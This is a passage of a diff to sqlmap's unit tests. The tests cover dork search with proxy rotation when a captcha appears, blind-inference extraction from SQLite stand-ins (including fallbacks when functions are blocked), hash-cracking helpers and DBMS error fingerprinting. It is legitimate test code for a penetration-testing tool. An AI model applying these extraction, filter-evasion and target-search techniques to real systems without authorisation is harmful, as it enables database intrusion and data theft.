itself (protocol+full-id+id/timestamp+raw-request), never by the shared host."""
|
||||
records = [
|
||||
{"protocol": "dns", "full-id": "abc..."},
|
||||
{"protocol": "http", "full-id": "abc...", "raw-request": "GET /?deadbeef=1 HTTP/1.1"},
|
||||
{"protocol": "http", "full-id": "abc...", "raw-request": "GET /?cafebabe=1 HTTP/1.1"},
|
||||
]
|
||||
client = self._client(records)
|
||||
out = client.httpRequests()
|
||||
names = [name for r in out for name in r["query-param-names"]]
|
||||
self.assertEqual(set(names), {"deadbeef", "cafebabe"})
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
@@ -0,0 +1,86 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Unit tests for lib/utils/search.py (dork search), exercising the engine loop by
|
||||
MOCKING the network layer (_fetch).
|
||||
|
||||
No network is involved: _fetch is patched to return canned search engine result
|
||||
pages, so we can assert both on the links extracted per engine and on the
|
||||
abuse/captcha detection that triggers proxy rotation (SEARCH_ABUSE_MARKERS).
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.exception import SqlmapBaseException
|
||||
from lib.core.settings import SEARCH_ABUSE_MARKERS
|
||||
import lib.utils.search as smod
|
||||
|
||||
BING_PAGE = '<h2><a target="_blank" href="https://www.bing.com/ck/a?!&&p=1&u=a1aHR0cHM6Ly93d3cuZXhhbXBsZS5jb20vYS5waHA_aWQ9MQ&ntb=1">a</a></h2>'
|
||||
DUCKDUCKGO_PAGE = '<a class="result__url" href="https://www.example.com/b.php?id=2">b</a>'
|
||||
|
||||
class TestDorkSearch(unittest.TestCase):
|
||||
def setUp(self):
|
||||
conf.googlePage = 1
|
||||
conf.proxyList = None
|
||||
self._fetch = smod._fetch
|
||||
|
||||
def tearDown(self):
|
||||
smod._fetch = self._fetch
|
||||
|
||||
def _pages(self, *pages):
|
||||
"""Patches _fetch to serve `pages` in engine order (None meaning no reply)"""
|
||||
|
||||
served = list(pages)
|
||||
self.requested = []
|
||||
|
||||
def fetch(url, headers, data=None):
|
||||
self.requested.append((url, data))
|
||||
return served.pop(0) if served else None
|
||||
|
||||
smod._fetch = fetch
|
||||
|
||||
def test_duckduckgo_results(self):
|
||||
self._pages(DUCKDUCKGO_PAGE)
|
||||
self.assertEqual(smod._search("dork"), ["https://www.example.com/b.php?id=2"])
|
||||
|
||||
def test_bing_fallback_decodes_redirect(self):
|
||||
self._pages(None, BING_PAGE)
|
||||
self.assertEqual(smod._search("dork"), ["https://www.example.com/a.php?id=1"])
|
||||
|
||||
def test_duckduckgo_paging_offset(self):
|
||||
# Note: first result page holds 10 entries, each subsequent one 15 (and not the uniform 30 as previously used)
|
||||
for gpage, offset in ((1, 0), (2, 10), (3, 25), (4, 40)):
|
||||
conf.googlePage = gpage
|
||||
self._pages(DUCKDUCKGO_PAGE)
|
||||
smod._search("dork")
|
||||
self.assertEqual(self.requested[0][1], "q=dork&s=%d" % offset)
|
||||
|
||||
def test_abuse_page_switches_proxy(self):
|
||||
# Note: without '--proxy-list' there is nothing to switch to, hence no exception
|
||||
for marker in SEARCH_ABUSE_MARKERS:
|
||||
self._pages("<html>%s</html>" % marker)
|
||||
conf.proxyList = None
|
||||
self.assertEqual(smod._search("dork"), [])
|
||||
|
||||
self._pages("<html>%s</html>" % marker)
|
||||
conf.proxyList = ["http://127.0.0.1:8080"]
|
||||
self.assertRaises(SqlmapBaseException, smod._search, "dork")
|
||||
|
||||
def test_results_page_is_not_mistaken_for_abuse(self):
|
||||
self._pages(DUCKDUCKGO_PAGE)
|
||||
conf.proxyList = ["http://127.0.0.1:8080"]
|
||||
self.assertEqual(smod._search("dork"), ["https://www.example.com/b.php?id=2"])
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -76,6 +76,17 @@ class _CaptureCase(unittest.TestCase):
|
||||
|
||||
|
||||
class TestStringAndLister(_CaptureCase):
|
||||
def test_audit_output(self):
|
||||
self.d.audit(["xp_cmdshell: disabled", "CLR integration: unavailable"])
|
||||
self.assertIn("database security audit [2]", self.text())
|
||||
self.assertIn("xp_cmdshell: disabled", self.text())
|
||||
self.assertIn("CLR integration: unavailable", self.text())
|
||||
|
||||
def test_links_output(self):
|
||||
self.d.links(["remote -> db.example"])
|
||||
self.assertIn("database links [1]", self.text())
|
||||
self.assertIn("remote -> db.example", self.text())
|
||||
|
||||
def test_string_scalar_quoted(self):
|
||||
# a plain string fact is rendered as "header: 'value'"
|
||||
self.d.string("current user", "root@localhost")
|
||||
|
||||
@@ -49,9 +49,15 @@ CORPUS = [
|
||||
u"\U00010348", u"Aé€\U00010348Z",
|
||||
]
|
||||
|
||||
# every connection _oracle()/_disguisedOracle() open outlives the helper call (the returned
|
||||
# closure keeps using it), so callers can't close it themselves - tracked here and closed once
|
||||
# in tearDownModule() instead of leaking to GC (ResourceWarning: unclosed database)
|
||||
_OPEN_CONNECTIONS = []
|
||||
|
||||
|
||||
def _oracle(value=None, is_null=False):
|
||||
con = sqlite3.connect(":memory:")
|
||||
_OPEN_CONNECTIONS.append(con)
|
||||
con.execute("CREATE TABLE t (v TEXT)")
|
||||
con.execute("INSERT INTO t VALUES (?)", (None if is_null else value,))
|
||||
con.commit()
|
||||
@@ -84,6 +90,7 @@ def _disguisedOracle(blocked=None, rewrites=(), funcs=()):
|
||||
`funcs` registers extra SQL functions (e.g. a variadic CONCAT SQLite lacks). The
|
||||
engine never sees SQLite - it must adapt to whatever back-end the scenario emulates."""
|
||||
con = sqlite3.connect(":memory:")
|
||||
_OPEN_CONNECTIONS.append(con)
|
||||
for name, narg, fn in funcs:
|
||||
con.create_function(name, narg, fn)
|
||||
for stmt in _SEED:
|
||||
@@ -221,6 +228,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# hostExtract must mirror the native EXACT/AMBIGUOUS verdict: in a mode with no byte-exact
|
||||
# witness (ordinal), both must be WHOLE_BUT_AMBIGUOUS, not native-ambiguous/host-exact.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t (v TEXT)")
|
||||
con.execute("INSERT INTO t VALUES ('Admin-42')")
|
||||
con.commit()
|
||||
@@ -249,6 +257,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# must reject the shortened token -> fall back to cell-by-cell (which reads the true
|
||||
# length via substring), so a 400-char value is recovered whole, not silently as 300.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT)")
|
||||
big = "A" * 400
|
||||
con.execute("INSERT INTO t VALUES (1, ?)", (big,))
|
||||
@@ -273,6 +282,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# operands -> bisection converges off-by-one. The final `expr = recovered` check must
|
||||
# reject it (fail closed) rather than return a silently-wrong integer.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
|
||||
def ask(cond):
|
||||
c = cond
|
||||
@@ -302,6 +312,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# (LENGTH(..)>n, UNICODE(..)>n) converges off-by-one; the '=' confirmation must fail closed
|
||||
# rather than hand back silently-wrong code-point text as exact.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t (v TEXT)")
|
||||
con.execute("INSERT INTO t VALUES ('Admin-42')")
|
||||
con.commit()
|
||||
@@ -329,6 +340,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# (e.g. utf-8 bytes with an embedded NUL heuristically read as UTF-16). Bytes are faithful;
|
||||
# only a PROVEN codec makes the decoded text exact.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t (v TEXT)")
|
||||
con.execute("INSERT INTO t VALUES (?)", (u"é",)) # utf-8 C3 A9 -> non-ASCII bytes
|
||||
con.execute("CREATE TABLE a (v TEXT)")
|
||||
@@ -356,6 +368,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# Round 8 #5: once a byte-length witness is selected, an UNDECIDED reading must reject the
|
||||
# bytes (fail closed), never treat "couldn't verify" as "matched".
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t (v TEXT)")
|
||||
con.execute("INSERT INTO t VALUES ('abc')")
|
||||
con.commit()
|
||||
@@ -389,6 +402,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# never ran on the very failure it defends against. The canary must run whenever a textcast
|
||||
# was applied, and an unproven cast must not certify source identity.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t (id INTEGER PRIMARY KEY, v TEXT)")
|
||||
con.execute(u"INSERT INTO t VALUES (1, 'café')")
|
||||
con.commit()
|
||||
@@ -415,6 +429,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# the engine must escalate to the cast+hex path (which the framed dump proves works) and
|
||||
# recover the value exactly. Without hex, it stays honestly incomplete (no false-complete).
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t (v TEXT)")
|
||||
con.execute(u"INSERT INTO t VALUES ('café-€')")
|
||||
con.commit()
|
||||
@@ -466,6 +481,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# False). the full truth table must reject 'gt' (and fall to BETWEEN) so counts/lengths
|
||||
# aren't read off-by-one. reproduced: extractInteger('5',max=10) used to return 6.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
|
||||
def ask(cond):
|
||||
try:
|
||||
@@ -481,6 +497,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# without a proven hex/binary witness (or code-codepoint), a value is WHOLE_BUT_AMBIGUOUS,
|
||||
# never EXACT - plain '=' is collation-dependent and can't certify byte-exactness.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t (v TEXT)")
|
||||
con.execute("INSERT INTO t VALUES ('Zz')")
|
||||
con.commit()
|
||||
@@ -510,6 +527,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
|
||||
def test_host_maxlen_zero(self):
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t (v TEXT)")
|
||||
con.execute("INSERT INTO t VALUES ('abcdef')")
|
||||
con.commit()
|
||||
@@ -541,6 +559,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# `complete` (walk finished) must be distinct from `exact` (bytes proven identical).
|
||||
# a case-insensitive collation recovers a WHOLE value that is NOT exact.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t (v TEXT)")
|
||||
con.execute("INSERT INTO t VALUES ('A')")
|
||||
con.commit()
|
||||
@@ -568,6 +587,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# hostExtract returns an ExtractResult: a bounded read is TRUNCATED (not a bare string),
|
||||
# and an undecided (None) host observation degrades to a FAILED result, never a fake bit.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t (v TEXT)")
|
||||
con.execute("INSERT INTO t VALUES ('abcdef')")
|
||||
con.commit()
|
||||
@@ -602,6 +622,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# key's first column repeats -> `> prev` paging silently drops rows sharing it, so it
|
||||
# must be REJECTED (COUNT(*) != COUNT(DISTINCT col)); only a unique column is accepted.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE k (a INT, b INT, u INT, nul INT)")
|
||||
con.executemany("INSERT INTO k VALUES (?,?,?,?)", [(1, 1, 10, 1), (1, 2, 20, None), (2, 1, 30, 3)])
|
||||
con.commit()
|
||||
@@ -651,6 +672,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
|
||||
def test_enumerate(self):
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE alpha (x)")
|
||||
con.execute("CREATE TABLE beta (y)")
|
||||
con.commit()
|
||||
@@ -668,6 +690,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
def test_dump(self):
|
||||
# row DATA byte-exact, including commas / quotes / unicode (hex framing keeps intact)
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE users (id, uname, note)")
|
||||
truth = [(1, u"admin", u"all,good"), (2, u"o'brien", u"café,€"), (3, u"x", u"")]
|
||||
for row in truth:
|
||||
@@ -692,6 +715,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# extraction. Quotes/commas/NULLs in the data must survive (a single value has
|
||||
# no framing ambiguity). This is the scavenger's whole reason to exist.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE users (id INTEGER, name TEXT, email TEXT)")
|
||||
for row in ((1, "luther", "[email protected]"), (2, "o'brien", "x,y@z"), (3, "wu", None)):
|
||||
con.execute("INSERT INTO users VALUES (?,?,?)", row)
|
||||
@@ -723,6 +747,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# catalog detection, brute-force existence probing, and identifier quoting are
|
||||
# all COUNT-free (scalar-subquery existence), so tables/columns/dump still work.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE users (id INTEGER, name TEXT)")
|
||||
con.execute("INSERT INTO users VALUES (1, 'admin'), (2, 'root')")
|
||||
con.commit()
|
||||
@@ -747,6 +772,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
def test_quoting(self):
|
||||
# reserved-word / spaced column names must be quoted, not interpolated raw
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute('CREATE TABLE q (id INTEGER, "order" TEXT, "group by" TEXT)')
|
||||
con.execute('INSERT INTO q VALUES (1, ?, ?)', ("a'b", "x,y"))
|
||||
con.commit()
|
||||
@@ -767,6 +793,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
def test_strategy_handoff(self):
|
||||
# the frozen InferenceStrategy is a *sufficient* host interface, and immutable
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE k (v TEXT)")
|
||||
con.execute("INSERT INTO k VALUES ('Str4t3gy!')")
|
||||
con.commit()
|
||||
@@ -788,6 +815,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
def test_pattern_match_fallback(self):
|
||||
# SUBSTR + LENGTH + hex + code fns ALL blacklisted -> pure GLOB/LIKE floor
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE flag (id INTEGER, v TEXT)")
|
||||
con.execute("INSERT INTO flag VALUES (1, 'FLAG{no_SUBSTR_%_needed}')")
|
||||
con.commit()
|
||||
@@ -812,6 +840,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# like 'all_products' must escape them (\_ ESCAPE '\'), not treat them as
|
||||
# match-anything. GLOB is blocked here to force LIKE (where '_'/'%' are magic).
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE v (val TEXT)")
|
||||
con.execute("INSERT INTO v VALUES ('all_products')")
|
||||
for t in ("all_products", "wp_users", "sales%2024"): # '_'/'%' in identifiers
|
||||
@@ -838,6 +867,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
def test_length_from_substring(self):
|
||||
# every length fn blacklisted but SUBSTR present -> length derived from the end
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t6 (v TEXT)")
|
||||
con.execute(u"INSERT INTO t6 VALUES ('Admin-42€')")
|
||||
con.commit()
|
||||
@@ -859,6 +889,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# a permission/charset wall mid-walk (oracle can't decide the keyset bound)
|
||||
# must STOP with partial results, never crash with OracleUndecided
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
for t in ("alpha", "beta", "gamma"):
|
||||
con.execute("CREATE TABLE %s (x)" % t)
|
||||
con.commit()
|
||||
@@ -884,6 +915,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# RIGHT( onto them (the same rewrite the disguised-dialect oracles use). Keeps the
|
||||
# test portable across SQLite builds while still exercising the real left_right rung.
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t7 (v TEXT)")
|
||||
con.execute("INSERT INTO t7 VALUES ('Zagreb-42')")
|
||||
con.commit()
|
||||
@@ -1029,6 +1061,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
seed = ('CREATE TABLE q (id INTEGER, "order" TEXT, "group" TEXT)',
|
||||
"INSERT INTO q VALUES (1, ?, ?)")
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute(seed[0]); con.execute(seed[1], ("a,b", "x'y")); con.commit()
|
||||
blk = re.compile(r'"|`')
|
||||
|
||||
@@ -1050,6 +1083,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# a first-byte charcode fn (MySQL-style ASCII) is lossy for non-ASCII; the
|
||||
# engine must detect that and escalate to hex, recovering the bytes exactly
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE t (v TEXT)")
|
||||
con.execute(u"INSERT INTO t VALUES ('café-€')") # cafe-EUR
|
||||
con.commit()
|
||||
@@ -1071,6 +1105,7 @@ class TestEsperanto(unittest.TestCase):
|
||||
# non-ASCII data recovered byte-exact even while the dialect is disguised
|
||||
# (SUBSTR/MID/CHAR_LENGTH/LENGTH blocked -> SUBSTRING/LEN mapped to SQLite)
|
||||
con = sqlite3.connect(":memory:")
|
||||
self.addCleanup(con.close)
|
||||
con.execute("CREATE TABLE s (v TEXT)")
|
||||
con.execute(u"INSERT INTO s VALUES ('Zagreb-župa-€42')") # Zagreb-zupa-EUR42
|
||||
con.commit()
|
||||
@@ -1091,5 +1126,13 @@ class TestEsperanto(unittest.TestCase):
|
||||
self.assertEqual(esp.extractText("(SELECT v FROM s)"), u"Zagreb-župa-€42")
|
||||
|
||||
|
||||
def tearDownModule():
|
||||
while _OPEN_CONNECTIONS:
|
||||
try:
|
||||
_OPEN_CONNECTIONS.pop().close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
@@ -21,8 +21,10 @@ prompts non-interactive, and conf.dumper is a recording stub. Every test restore
|
||||
all touched conf.* / kb.* / patched module attributes in tearDown so nothing leaks.
|
||||
"""
|
||||
|
||||
import io
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
@@ -39,6 +41,7 @@ import plugins.generic.entries as emod
|
||||
import plugins.generic.custom as cmod
|
||||
import plugins.generic.misc as mmod
|
||||
import plugins.generic.takeover as tmod
|
||||
import lib.core.common as common
|
||||
from plugins.generic.custom import Custom
|
||||
from plugins.generic.misc import Miscellaneous
|
||||
|
||||
@@ -250,38 +253,69 @@ class TestCustomSqlQuery(_GenericBase):
|
||||
|
||||
|
||||
class TestCustomSqlFile(_GenericBase):
|
||||
def test_sqlfile_select_snippets(self):
|
||||
set_dbms("MySQL")
|
||||
c = Custom()
|
||||
cmod.inject.getValue = lambda query, **k: "r"
|
||||
def _runSqlFile(self, content, suffix=".sql"):
|
||||
handle, filename = tempfile.mkstemp(suffix=suffix)
|
||||
os.close(handle)
|
||||
self.addCleanup(os.unlink, filename)
|
||||
with io.open(filename, "w", encoding="utf-8", newline="") as f:
|
||||
f.write(content)
|
||||
|
||||
# getSQLSnippet reads from disk; patch it to return inline SQL.
|
||||
saved = cmod.getSQLSnippet
|
||||
try:
|
||||
cmod.getSQLSnippet = lambda dbms, filename, **kw: "SELECT 1;SELECT 2"
|
||||
conf.sqlFile = "dummy.sql"
|
||||
c.sqlFile()
|
||||
# two SELECT statements => two recorded dumper.sqlQuery calls
|
||||
self.assertEqual(len(conf.dumper.sqlQueries), 2)
|
||||
finally:
|
||||
cmod.getSQLSnippet = saved
|
||||
set_dbms("MySQL")
|
||||
cmod.inject.getValue = lambda query, **k: "r"
|
||||
conf.sqlFile = filename
|
||||
Custom().sqlFile()
|
||||
return [query for query, output in conf.dumper.sqlQueries]
|
||||
|
||||
def test_sqlfile_select_snippets(self):
|
||||
self.assertEqual(self._runSqlFile(u"SELECT 1; SELECT 2;\n"), ["SELECT 1", "SELECT 2"])
|
||||
|
||||
def test_sqlfile_nonselect_snippet(self):
|
||||
set_dbms("MySQL")
|
||||
conf.direct = True
|
||||
c = Custom()
|
||||
cmod.inject.goStacked = lambda *a, **k: None
|
||||
self.assertEqual(self._runSqlFile(u"DROP TABLE x"), ["DROP TABLE x"])
|
||||
|
||||
saved = cmod.getSQLSnippet
|
||||
def test_sqlfile_preserves_percent_tokens_without_prompting(self):
|
||||
saved = common.readInput
|
||||
try:
|
||||
cmod.getSQLSnippet = lambda dbms, filename, **kw: "DROP TABLE x"
|
||||
conf.sqlFile = "dummy.sql"
|
||||
c.sqlFile()
|
||||
# non-SELECT => single recorded call with the whole snippet
|
||||
self.assertEqual(len(conf.dumper.sqlQueries), 1)
|
||||
self.assertEqual(conf.dumper.sqlQueries[0][0], "DROP TABLE x")
|
||||
common.readInput = lambda *a, **k: self.fail("user SQL must not request template substitutions")
|
||||
query = u"SELECT DATE_FORMAT(NOW(), '%m%m'), '%RANDSTR1%', '%RANDINT1%'"
|
||||
self.assertEqual(self._runSqlFile(query), [query])
|
||||
finally:
|
||||
cmod.getSQLSnippet = saved
|
||||
common.readInput = saved
|
||||
|
||||
def test_sqlfile_preserves_hash_and_quoted_delimiters(self):
|
||||
first = u"SELECT '#keep; value', 'it''s; quoted', \"semi; colon\""
|
||||
self.assertEqual(self._runSqlFile(first + u"; SELECT 2;"), [first, "SELECT 2"])
|
||||
|
||||
def test_sqlfile_preserves_multiline_literal(self):
|
||||
query = u"SELECT 'a;\n b'"
|
||||
self.assertEqual(self._runSqlFile(query), [query])
|
||||
|
||||
def test_sqlfile_preserves_crlf_literal(self):
|
||||
query = u"SELECT 'a;\r\n b'"
|
||||
self.assertEqual(self._runSqlFile(query + u";\r\nSELECT 2;"), [query, "SELECT 2"])
|
||||
|
||||
def test_sqlfile_newline_separated_selects(self):
|
||||
self.assertEqual(self._runSqlFile(u"SELECT 'a;b'\nSELECT 2\n"), ["SELECT 'a;b'", "SELECT 2"])
|
||||
|
||||
def test_sqlfile_multiline_select(self):
|
||||
query = u"SELECT name\nFROM users"
|
||||
self.assertEqual(self._runSqlFile(query), [query])
|
||||
|
||||
def test_sqlfile_preserves_mixed_batch(self):
|
||||
batch = u"UPDATE users SET name='#keep; value';\nSELECT name FROM users;"
|
||||
executed = []
|
||||
cmod.inject.goStacked = lambda query, **k: executed.append(query)
|
||||
self.assertEqual(self._runSqlFile(batch), [batch])
|
||||
self.assertEqual(executed, [batch.rstrip(';')])
|
||||
|
||||
def test_sqlfile_arbitrary_extension(self):
|
||||
self.assertEqual(self._runSqlFile(u"SELECT 1", suffix=".txt"), ["SELECT 1"])
|
||||
|
||||
def test_sqlfile_without_extension(self):
|
||||
self.assertEqual(self._runSqlFile(u"SELECT 1", suffix=""), ["SELECT 1"])
|
||||
|
||||
def test_sqlfile_empty(self):
|
||||
self.assertEqual(self._runSqlFile(u" \n;\n "), [])
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- #
|
||||
|
||||
@@ -87,6 +87,22 @@ class TestDbmsSpecificVectors(unittest.TestCase):
|
||||
self.assertEqual(H.oracle_old_passwd("tiger", "scott", uppercase=True), "F894844C34402B67")
|
||||
|
||||
|
||||
class TestCryptGenericBytesInput(unittest.TestCase):
|
||||
"""
|
||||
The dictionary-attack workers (_bruteProcessVariantA/B in lib/utils/hash.py) always pass
|
||||
'password' as bytes (getBytes(word)), regardless of which hash function gets dispatched. Every
|
||||
other function here hashes via hashlib (bytes-friendly), but crypt_generic_passwd forwards
|
||||
straight to the stdlib crypt.crypt(), which requires str - raising 'TypeError: crypt() argument
|
||||
1 must be str, not bytes' on Linux/macOS (reported via a user's cracked-hash session).
|
||||
"""
|
||||
|
||||
def test_bytes_password_does_not_raise(self):
|
||||
self.assertEqual(H.crypt_generic_passwd(password=b"rasmuslerdorf", salt="rl", uppercase=False), "rl.3StKT.4T8M")
|
||||
|
||||
def test_str_password_unaffected(self):
|
||||
self.assertEqual(H.crypt_generic_passwd(password="rasmuslerdorf", salt="rl", uppercase=False), "rl.3StKT.4T8M")
|
||||
|
||||
|
||||
class TestMssqlUnicodePassword(unittest.TestCase):
|
||||
"""MSSQL hashes the password as UCS-2/UTF-16LE. A per-char 'utf-8 + NUL' approximation is only
|
||||
correct for ASCII, so non-ASCII passwords (cafe, etc.) hashed WRONG and were uncrackable. The
|
||||
|
||||
@@ -26,6 +26,7 @@ stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
@@ -223,6 +224,26 @@ class HeuristicSignatureTest(unittest.TestCase):
|
||||
self.assertEqual(fired, (),
|
||||
msg="%s output suggests %s: %r" % (backend, '/'.join("'--%s'" % _ for _ in fired), text))
|
||||
|
||||
def test_no_signature_has_an_unbounded_gap(self):
|
||||
# an unbounded '.*' between a literal and a keyword is quadratic on a long line (minified
|
||||
# JS/JSON, a one-line JSON error body), which is how a stray 'xpath' in a 400KB response
|
||||
# cost ~25s per parameter - and made the regex engine itself blow up (#5994, #6105).
|
||||
# The bounded form ('[^\n]{0,100}?') matches the same real errors in constant work
|
||||
for name, regex in ENGINES:
|
||||
found = re.search(r"(?<!\\)\.[*+]", regex)
|
||||
self.assertIsNone(found, msg="'--%s' signatures carry an unbounded '%s' gap" % (name, found.group(0) if found else ""))
|
||||
|
||||
def test_signatures_stay_linear_on_a_long_line(self):
|
||||
# the same invariant, measured: every engine has to survive a single-line response that
|
||||
# carries the words its signatures start with, without any error actually being present
|
||||
page = ("<div class=\"x\">lorem ipsum dolor sit amet consectetur adipiscing elit</div>" + ''.join("%s " % _ for _ in ("xpath", "HQL", "ParseException", "NameError", "Entity x", "handlebars", "no such file", "Twig"))) * 2000
|
||||
|
||||
for name, regex in ENGINES:
|
||||
start = time.time()
|
||||
re.search(regex, page)
|
||||
elapsed = time.time() - start
|
||||
self.assertLess(elapsed, 2, msg="'--%s' signatures took %.1fs on a %dKB single-line response" % (name, elapsed, len(page) // 1024))
|
||||
|
||||
def test_every_engine_is_covered(self):
|
||||
# a new switch must arrive here with its own errors, or the matrix above proves nothing about it
|
||||
owners = set(owner for owner, _, _ in CORPUS)
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import kb
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import FORK
|
||||
from lib.parse.html import htmlParser
|
||||
|
||||
|
||||
class TestHtmlParserForks(unittest.TestCase):
|
||||
def setUp(self):
|
||||
kb.forkNote = None
|
||||
kb.cache.parsedDbms.clear()
|
||||
|
||||
# NOTE: these forks all speak the PostgreSQL wire protocol and inherit its error wording, so
|
||||
# the brand name itself never appears next to 'ERROR:' - only a leaked driver package or an
|
||||
# engine-internal source reference tells them apart from stock PostgreSQL
|
||||
def test_cockroachdb_error_fingerprint(self):
|
||||
for page in (
|
||||
"ERROR: relation \"crdb_internal.tables\" does not exist",
|
||||
"DETAIL: stack trace: github.com/cockroachdb/cockroach/pkg/sql/conn_executor.go:733",
|
||||
):
|
||||
kb.forkNote = None
|
||||
kb.cache.parsedDbms.clear()
|
||||
self.assertEqual(htmlParser(page), DBMS.PGSQL)
|
||||
self.assertEqual(kb.forkNote, FORK.COCKROACHDB)
|
||||
|
||||
def test_yugabytedb_error_fingerprint(self):
|
||||
for page in (
|
||||
"com.yugabyte.util.PSQLException: ERROR: syntax error at or near \"'\"",
|
||||
"ERROR: Query error: [Query error (yb/tserver/read_query.cc:265): MISMATCHED_SCHEMA]",
|
||||
):
|
||||
kb.forkNote = None
|
||||
kb.cache.parsedDbms.clear()
|
||||
self.assertEqual(htmlParser(page), DBMS.PGSQL)
|
||||
self.assertEqual(kb.forkNote, FORK.YUGABYTEDB)
|
||||
|
||||
def test_opengauss_error_fingerprint(self):
|
||||
page = "org.opengauss.util.PSQLException: ERROR: syntax error at or near \"'\""
|
||||
dbms = htmlParser(page)
|
||||
